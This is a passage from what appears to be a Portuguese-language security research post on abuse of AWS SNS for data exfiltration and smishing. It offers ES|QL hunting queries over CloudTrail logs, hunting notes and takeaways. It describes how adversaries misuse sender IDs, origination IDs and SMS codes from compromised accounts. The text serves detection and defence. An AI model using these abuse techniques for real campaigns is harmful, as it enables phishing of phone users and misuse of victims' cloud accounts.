    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Novo valor de termos: aws.cloudtrail.user_identity.arn

Consulta de caça (ES|QL)

Nossa consulta de busca aproveita o ES|QL e também se concentra em logs do SNS onde a ação da API é Publicar. Isso só será acionado se o tipo de identidade do usuário for uma função assumida e o ARN da identidade do usuário for um ID de instância do EC2. A agregação por ID de conta, entidade, função assumida, tópico SNS e região nos ajuda a identificar quaisquer outras anomalias com base na expectativa dessa atividade. Podemos aproveitar o agente do usuário para identificar essas chamadas feitas por ferramentas ou softwares incomuns também.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Notas de caça:

• Se uma chave de acesso de identidade do usuário (aws.cloudtrail.user_identity.access_key_id) existe no log de auditoria do CloudTrail, então essa solicitação foi realizada via CLI ou programaticamente. Essas chaves podem estar comprometidas e exigir uma investigação mais aprofundada.
• Se você notar Terraform, Pulumi, etc., pode estar relacionado a ambientes de teste, manutenção ou mais.
• SDKs Python que não são AWS podem indicar ferramentas ou scripts personalizados sendo aproveitados.

Pico de mensagens diretas para telefone do SNS

Fonte de consulta de caça
MITRE ATT&CK: T1660

Nossos esforços de busca por comprometimento hipotético do SNS — quando um adversário está conduzindo campanhas de phishing (smishing) — se concentram nas ações da API de publicação no AWS SNS. Especificamente, rastreamos instâncias em que phoneNumber está presente nos parâmetros de solicitação, sinalizando que as mensagens estão sendo enviadas diretamente para números de telefone e não por meio de um tópico SNS.

Notavelmente, em vez de depender de tópicos do SNS com números pré-inscritos, o adversário explora as permissões de Endpoint Messaging de produção de uma organização, aproveitando:

• Um ID de Originação aprovado (se a organização tiver registrado um).
• Um ID de remetente (se o adversário controlar um ou puder falsificar um identificador confiável).
• Códigos longos ou curtos da AWS (que podem ser atribuídos dinamicamente).

Como o AWS SNS higieniza os logs, os números de telefone não ficam visíveis no CloudTrail, mas uma análise mais profunda no CloudWatch ou em ferramentas de monitoramento de terceiros pode ajudar.

Consulta de caça (ES|QL)

Esta consulta detecta um pico em mensagens diretas do SNS, o que pode indicar campanhas de smishing de contas comprometidas da AWS.

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

Notas de caça:

• A AWS remove números de telefone dos logs, portanto, pode ser necessária uma análise mais profunda por meio dos logs do CloudWatch.
• Durante a investigação no CloudWatch, o contexto da mensagem também é higienizado. Seria ideal investigar a mensagem em busca de quaisquer links de URL suspeitos incorporados nas mensagens de texto.
• Você também pode revisar os logs de entrega do AWS SNS (se habilitados) para metadados de mensagens.
• Se as mensagens não estiverem usando uma assinatura baseada em tópicos, isso sugere segmentação direta.
• A origem dessas solicitações é importante. Se você as notar em uma instância do EC2, isso é um tanto estranho, ou o Lambda pode ser um código serverless esperado.

Takeaways

Obrigado por reservar um tempo para ler esta publicação sobre abuso do AWS SNS: exfiltração de dados e phishing. Esperamos que esta pesquisa forneça insights valiosos sobre como os adversários podem aproveitar o AWS SNS para campanhas de exfiltração de dados, smishing e phishing, bem como estratégias práticas de detecção e caça para combater essas ameaças.

Principais conclusões:

• O AWS SNS é um serviço poderoso, mas pode ser usado indevidamente para fins maliciosos, incluindo phishing (smishing) e exfiltração de dados.
• Os adversários podem abusar das permissões de produção do SNS usando IDs de remetente pré-aprovados, IDs de origem ou códigos longos/curtos para enviar mensagens para fora de uma organização.
• Os agentes de ameaças podem usar configurações incorretas em políticas de IAM, lacunas de registro do CloudTrail e limitações da API do SNS para passar despercebidos.
• Embora o abuso de SNS na natureza (ItW) não seja relatado com frequência, estamos confiantes de que sua utilização como arma e exploração direcionada já estão ocorrendo ou surgirão eventualmente.
• O AWS CloudTrail não captura números de telefone ou mensagens em logs SNS, tornando o monitoramento de terceiros do CloudWatch essencial para análises mais profundas
• Consultas de busca por ameaças podem ajudar a detectar tópicos de SNS sendo criados, assinados ou recebendo um pico de mensagens diretas, sinalizando possível abuso.
• As estratégias de detecção incluem monitorar ações da API do SNS, identificar picos incomuns de mensagens do SNS e sinalizar anomalias de fontes EC2 ou Lambda.
• As medidas defensivas devem incluir o reforço da política de IAM, registro do CloudTrail e SNS, detecções baseadas em anomalias e práticas recomendadas de segurança, conforme recomendado pela AWS para reduzir a superfície de ataque.

O AWS SNS é frequentemente esquecido em discussões de segurança, mas, como mostra esta pesquisa, ele representa um vetor de ataque viável para adversários se não for monitorado. Incentivamos os defensores a permanecerem proativos, refinar a lógica de detecção e implementar controles de segurança robustos para mitigar esses riscos e aumentar a postura de segurança.

Obrigado pela leitura e boa caça!

Referências

• https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/
• https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/
• https://catalog.workshops.aws/build-sms-program/en-US